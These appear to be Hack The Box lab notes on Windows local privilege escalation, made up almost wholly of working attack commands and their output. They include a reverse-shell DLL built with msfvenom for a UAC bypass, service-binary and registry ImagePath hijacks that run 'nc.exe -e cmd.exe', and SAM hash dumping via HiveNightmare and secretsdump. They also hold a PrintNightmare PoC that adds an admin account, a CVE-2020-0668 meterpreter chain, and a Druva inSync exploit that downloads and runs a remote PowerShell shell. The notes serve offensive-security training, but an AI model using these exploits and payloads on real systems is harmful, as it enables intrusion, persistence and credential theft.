b0ysie7e

Appearance

User Account Control ​

Checking Current User ​

c
C:\> whoami /user

USER INFORMATION
----------------

User Name         SID
================= ==============================================
winlpe-ws03\sarah S-1-5-21-3159276091-2191180989-3781274054-1002

Confirming Admin Group Membership ​

c
C:\> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
mrb3n
sarah
The command completed successfully.

Reviewing User Privileges ​

c
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Confirming UAC is Enabled ​

c
C:\> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1

Checking UAC Level ​

c
C:\> REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5

Checking Windows Version ​

c
PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Reviewing Path Variable ​

c
PS C:\> cmd /c echo %PATH%

C:\Windows\system32;
C:\Windows;
C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;

Generating Malicious srrstr.dll DLL ​

c
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes

Starting Python HTTP Server on Attack Host ​

c
$ sudo python3 -m http.server 8080

Downloading DLL Target ​

c
PS C:\>curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

Starting nc Listener on Attack Host ​

c
$ nc -lvnp 8443

Testing Connection ​

c
C:\> rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
c
$ nc -lnvp 8443

listening on [any] 8443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 49789
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Users\sarah> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Executing SystemPropertiesAdvanced.exe on Target Host ​

c
C:\> tasklist /svc | findstr "rundll32"
rundll32.exe                  6300 N/A
rundll32.exe                  5360 N/A
rundll32.exe                  7044 N/A

C:\htb> taskkill /PID 7044 /F
SUCCESS: The process with PID 7044 has been terminated.

C:\htb> taskkill /PID 6300 /F
SUCCESS: The process with PID 6300 has been terminated.

C:\htb> taskkill /PID 5360 /F
SUCCESS: The process with PID 5360 has been terminated.
c
C:\> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

Receiving Connection Back ​

c
$ nc -lvnp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.16] 50273
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
winlpe-ws03\sarah


C:\Windows\system32>whoami /priv

whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

Weak Permissions ​

Permissive File System ACLs ​

Running SharpUp ​

c
PS C:\> .\SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===


=== Modifiable Service Binaries ===

  Name             : SecurityService
  DisplayName      : PC Security Management Service
  Description      : Responsible for managing PC security
  State            : Stopped
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
  
  <SNIP>

Checking Permissions with icacls ​

c
PS C:\> icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Replacing Service Binary ​

c
C:\> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\> sc start SecurityService

Weak Service Permissions ​

Reviewing SharpUp Again ​

c
C:\> SharpUp.exe audit
 
=== SharpUp: Running Privilege Escalation Checks ===
 
 
=== Modifiable Services ===
 
  Name             : WindscribeService
  DisplayName      : WindscribeService
  Description      : Manages the firewall and controls the VPN tunnel
  State            : Running
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\Windscribe\WindscribeService.exe"

Checking Permissions with AccessChk ​

c
C:\> accesschk.exe /accepteula -quvcw WindscribeService
 
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
 
WindscribeService
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS

Check Local Admin Group ​

c
C:\> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
 
Members
 
-------------------------------------------------------------------------------
Administrator
mrb3n
The command completed successfully.

Changing the Service Binary Path ​

c
C:\> sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

[SC] ChangeServiceConfig SUCCESS

Stopping Service ​

c
C:\> sc stop WindscribeService
 
SERVICE_NAME: WindscribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x4
        WAIT_HINT          : 0x0

Starting the Service ​

c
C:\> sc start WindscribeService

[SC] StartService FAILED 1053:
 
The service did not respond to the start or control request in a timely fashion.

Confirming Local Admin Group Addition ​

c
C:\> net localgroup administrators

Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain
 
Members
 
-------------------------------------------------------------------------------
Administrator
htb-student
mrb3n
The command completed successfully.

Weak Service Permissions - Cleanup ​

Reverting the Binary Path ​

c
C:\> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"

[SC] ChangeServiceConfig SUCCESS

Starting the Service Again ​

c
C:\> sc start WindScribeService
 
SERVICE_NAME: WindScribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 1716
        FLAGS              :

Verifying Service is Running ​

c
C:\> sc query WindScribeService
 
SERVICE_NAME: WindScribeService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  Running
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Unquoted Service Path ​

Service Binary Path ​

c
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Querying Service ​

c
C:\> sc qc SystemExplorerHelpService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Explorer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Searching for Unquoted Service Paths ​

c
C:\> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
GVFS.Service                                                                        GVFS.Service                              C:\Program Files\GVFS\GVFS.Service.exe                                                 Auto
System Explorer Service                                                             SystemExplorerHelpService                 C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe             Auto
WindscribeService                                                                   WindscribeService                         C:\Program Files (x86)\Windscribe\WindscribeService.exe                                  Auto

Permissive Registry ACLs ​

c
C:\> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS

<SNIP>

Changing ImagePath with PowerShell ​

c
PS C:\> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

Modifiable Registry Autorun Binary ​

Check Startup Programs ​

c
PS C:\> Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl

Name     : OneDrive
command  : "C:\Users\mrb3n\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : WINLPE-WS01\mrb3n

Name     : Windscribe
command  : "C:\Program Files (x86)\Windscribe\Windscribe.exe" -os_restart
Location : HKU\S-1-5-21-2374636737-2633833024-1808968233-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : WINLPE-WS01\mrb3n

Name     : SecurityHealth
command  : %windir%\system32\SecurityHealthSystray.exe
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Name     : VMware User Process
command  : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Name     : VMware VM3DService Process
command  : "C:\WINDOWS\system32\vm3dservice.exe" -u
Location : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User     : Public

Kernel Exploits ​

Checking Permissions on the SAM File ​

c
C:\> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Performing Attack and Parsing Password Hashes ​

c
PS C:\Users\htb-student\Desktop> .\HiveNightmare.exe

HiveNightmare v0.6 - dump registry hives as non-admin users

Specify maximum number of shadows to inspect with parameter if wanted, default is 15.

Running...

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Success: SAM hive from 2021-08-07 written out to current working directory as SAM-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

Success: SECURITY hive from 2021-08-07 written out to current working directory as SECURITY-2021-08-07

Newer file found: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM

Success: SYSTEM hive from 2021-08-07 written out to current working directory as SYSTEM-2021-08-07


Assuming no errors above, you should be able to find hive dump files in current working directory.
c
$ impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xebb2121de07ed08fc7dc58aa773b23d6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3c7b7e66890fb2181a74bb56ab12195f248e9461
dpapi_userkey:0xc3e6491e75d7cffe8efd40df94d83cba51832a56
[*] NL$KM 
 0000   45 C5 B2 32 29 8B 05 B8  E7 E7 E0 4B 2C 14 83 02   E..2)......K,...
 0010   CE 2F E7 D9 B8 E0 F0 F8  20 C8 E4 70 DD D1 7F 4F   ./...... ..p...O
 0020   42 2C E6 9E AF 57 74 01  09 88 B3 78 17 3F 88 54   B,...Wt....x.?.T
 0030   52 8F 8D 9C 06 36 C0 24  43 B9 D8 0F 35 88 B9 60   R....6.$C...5..`
NL$KM:45c5b232298b05b8e7e7e04b2c148302ce2fe7d9b8e0f0f820c8e470ddd17f4f422ce69eaf5774010988b378173f8854528f8d9c0636c02443b9d80f3588b960

Checking for Spooler Service ​

c
PS C:\> ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Adding Local Admin with PrintNightmare PowerShell PoC ​

c
PS C:\> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
c
PS C:\> Import-Module .\CVE-2021-1675.ps1
PS C:\> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

Confirming New Admin User ​

c
PS C:\> net user hacker

User name                    hacker
Full Name                    hacker
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       
Global Group memberships     *None                 
The command completed successfully.

Enumerating Missing Patches ​

Examining Installed Updates ​

c
PS C:\> systeminfo
PS C:\> wmic qfe list brief
PS C:\> Get-Hotfix

Viewing Installed Updates with WMI ​

c
C:\> wmic qfe list brief

Description      FixComments  HotFixID   InstallDate  InstalledBy          InstalledOn  Name  ServicePackInEffect  Status
Update                        KB4601056               NT AUTHORITY\SYSTEM  3/27/2021                                    
Update                        KB4513661                                    1/9/2020                                     
Security Update               KB4516115                                    1/9/2020                                     
Update                        KB4517245                                    1/9/2020                                     
Security Update               KB4528759                                    1/9/2020                                     
Security Update               KB4535680               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB4580325               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000908               NT AUTHORITY\SYSTEM  3/27/2021                                    
Security Update               KB5000808               NT AUTHORITY\SYSTEM  3/27/2021

CVE-2020-0668 Example ​

Checking Current User Privileges ​

c
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

After Building Solution ​

c
CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml

Checking Permissions on Binary ​

c
C:\> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files

Generating Malicious Binary ​

c
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 645 bytes
Final size of exe file: 7168 bytes

Hosting the Malicious Binary ​

c
$ python3 -m http.server 8080

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.43.13 - - [01/Mar/2022 18:17:26] "GET /maintenanceservice.exe HTTP/1.1" 200 -
10.129.43.13 - - [01/Mar/2022 18:17:45] "GET /maintenanceservice.exe HTTP/1.1" 200 -

Downloading the Malicious Binary ​

c
PS C:\> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice.exe
PS C:\> wget http://10.10.15.244:8080/maintenanceservice.exe -O maintenanceservice2.exe

Running the Exploit ​

c
C:\> C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"                                       

[+] Moving C:\Users\htb-student\Desktop\maintenanceservice.exe to C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

[+] Mounting \RPC Control onto C:\Users\htb-student\AppData\Local\Temp\nzrghuxz.leo
[+] Creating symbol links
[+] Updating the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASPLAP configuration.
[+] Sleeping for 5 seconds so the changes take effect
[+] Writing phonebook file to C:\Users\htb-student\AppData\Local\Temp\179739c5-5060-4088-a3e7-57c7e83a0828.pbk
[+] Cleaning up
[+] Done!

Checking Permissions of New File ​

c
C:\> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          WINLPE-WS02\htb-student:(F)

Replacing File with Malicious Binary ​

c
C:\> copy /Y C:\Users\htb-student\Desktop\maintenanceservice2.exe "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

        1 file(s) copied.

Metasploit Resource Script ​

c
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit

Launching Metasploit with Resource Script ​

c
$ sudo msfconsole -r handler.rc
c
Metasploit tip: Use the resource command to run commands from a file

[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 10.10.14.3
LHOST => 10.10.14.3
resource (handler.rc)> set LPORT 8443
LPORT => 8443
resource (handler.rc)> exploit
[*] Started HTTPS reverse handler on https://10.10.14.3:8443

Starting the Service ​

c
C:\> net start MozillaMaintenance 

The service is not responding to the control function

More help is available by typing NET HELPMSG 2186

Receiving a Meterpreter Session ​

c
[*] Started HTTPS reverse handler on https://10.10.14.3:8443
[*] https://10.10.14.3:8443 handling request from 10.129.43.13; (UUID: syyuxztc) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (10.10.14.3:8443 -> 10.129.43.13:52047) at 2021-05-14 13:38:55 -0400


meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM


meterpreter > sysinfo

Computer        : WINLPE-WS02
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 6
Meterpreter     : x64/windows


meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303ec84884ad5c3b7876a06ea6:::
mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c93428723187f868ae2f99d4fa66dceb:::

Vulnerable Services ​

Enumerating Installed Programs ​

c
C:\> wmic product get name

Name
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4023057)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127
VMware Tools
Druva inSync 6.6.3
Microsoft Update Health Tools
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4480730)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127

Enumerating Local Ports ​

c
C:\> netstat -ano | findstr 6064

  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324
  TCP    127.0.0.1:6064         127.0.0.1:50274        ESTABLISHED     3324
  TCP    127.0.0.1:6064         127.0.0.1:50510        TIME_WAIT       0
  TCP    127.0.0.1:6064         127.0.0.1:50511        TIME_WAIT       0
  TCP    127.0.0.1:50274        127.0.0.1:6064         ESTABLISHED     3860

Enumerating Process ID ​

powershell-session
PS C:\> get-process -Id 3324

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    149      10     1512       6748              3324   0 inSyncCPHwnet64

Enumerating Running Service ​

powershell-session
PS C:\> get-service | ? {$_.DisplayName -like 'Druva*'}

Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service

Druva inSync Windows Client Local Privilege Escalation Example ​

powershell
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Modifying PowerShell PoC ​

shell-session
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443
powershell
$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"

Starting a Python Web Server ​

shell-session
$ python3 -m http.server 8080

Catching a SYSTEM Shell ​

shell-session
$ nc -lvnp 9443

listening on [any] 9443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 58611
Windows PowerShell running as user WINLPE-WS01$ on WINLPE-WS01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.


PS C:\WINDOWS\system32>whoami

nt authority\system


PS C:\WINDOWS\system32> hostname

WINLPE-WS01